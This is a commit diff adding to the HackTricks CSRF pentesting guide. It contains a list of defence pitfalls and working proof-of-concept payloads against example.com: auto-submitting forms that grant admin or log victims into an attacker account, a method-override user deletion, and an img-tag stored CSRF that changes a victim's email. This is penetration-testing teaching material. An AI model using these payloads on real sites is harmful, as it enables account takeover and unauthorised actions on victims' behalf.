Merge pull request #1445 from HackTricks-wiki/update_Ultimate_guide_to_CSRF_vulnerabilities_20250929_183219

Ultimate guide to CSRF vulnerabilities
This commit is contained in:
SirBroccoli 2025-09-30 00:17:17 +02:00 committed by GitHub
commit cd3128d506
2 changed files with 106 additions and 5 deletions

View File

@ -487,6 +487,7 @@
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)

View File

@ -35,6 +35,13 @@ Several countermeasures can be implemented to protect against CSRF attacks:
Understanding and implementing these defenses is crucial for maintaining the security and integrity of web applications.
#### Common pitfalls of defenses
- SameSite pitfalls: `SameSite=Lax` still allows top-level cross-site navigations like links and form GETs, so many GET-based CSRFs remain possible. See cookie matrix in [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
- Header checks: Validate `Origin` when present; if both `Origin` and `Referer` are absent, fail closed. Dont rely on substring/regex matches of `Referer` that can be bypassed with lookalike domains or crafted URLs, and note the `meta name="referrer" content="never"` suppression trick.
- Method overrides: Treat overridden methods (`_method` or override headers) as state-changing and enforce CSRF on the effective method, not just on POST.
- Login flows: Apply CSRF protections to login as well; otherwise, login CSRF enables forced re-authentication into attacker-controlled accounts, which can be chained with stored XSS.
## Defences Bypass
### From POST to GET (method-conditioned CSRF validation bypass)
@ -75,6 +82,32 @@ Notes:
Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.
Moreover, some implementations only check that the parameter exists but dont validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough:
```http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=guest&role=admin&csrf=
```
Minimal auto-submitting PoC (hiding navigation with history.pushState):
```html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
```
### CSRF token is not tied to the user session
Applications **not tying CSRF tokens to user sessions** present a significant **security risk**. These systems verify tokens against a **global pool** rather than ensuring each token is bound to the initiating session.
@ -89,13 +122,33 @@ This vulnerability allows attackers to make unauthorized requests on behalf of t
### Method bypass
If the request is using a "**weird**" **method**, check if the **method** **override functionality** is working. For example, if it's **using a PUT** method you can try to **use a POST** method and **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
If the request is using a "**weird**" **method**, check if the **method override** functionality is working. For example, if it's using a **PUT/DELETE/PATCH** method you can try to use a **POST** and send an override, e.g. `https://example.com/my/dear/api/val/num?_method=PUT`.
This could also works sending the **\_method parameter inside the a POST request** or using the **headers**:
This can also work by sending the **`_method` parameter inside a POST body** or using override **headers**:
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
- `X-HTTP-Method`
- `X-HTTP-Method-Override`
- `X-Method-Override`
Common in frameworks like **Laravel**, **Symfony**, **Express**, and others. Developers sometimes skip CSRF on non-POST verbs assuming browsers cant issue them; with overrides, you can still reach those handlers via POST.
Example request and HTML PoC:
```http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
```
```html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
```
### Custom header token bypass
@ -234,6 +287,46 @@ Therefore, if a GET request is being limited, you could just **send a HEAD reque
## **Exploit Examples**
### Stored CSRF via user-generated HTML
When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their cookies.
- If the app uses a global CSRF token that is not bound to the user session, the same token may work for all users, making stored CSRF reliable across victims.
Minimal example that changes the viewers email when loaded:
```html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
```
### Login CSRF chained with stored XSS
Login CSRF alone may be low impact, but chaining it with an authenticated stored XSS becomes powerful: force the victim to authenticate into an attacker-controlled account; once in that context, a stored XSS in an authenticated page executes and can steal tokens, hijack the session, or escalate privileges.
- Ensure the login endpoint is CSRF-able (no per-session token or origin check) and no user interaction gates block it.
- After forced login, auto-navigate to a page containing the attackers stored XSS payload.
Minimal login-CSRF PoC:
```html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
```
### **Exfiltrating CSRF Token**
If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability.
@ -707,6 +800,7 @@ with open(PASS_LIST, "r") as f:
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
- [Burp Suite Professional Generate CSRF PoCs](https://portswigger.net/burp)
## References
@ -715,5 +809,11 @@ with open(PASS_LIST, "r") as f:
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)
{{#include ../banners/hacktricks-training.md}}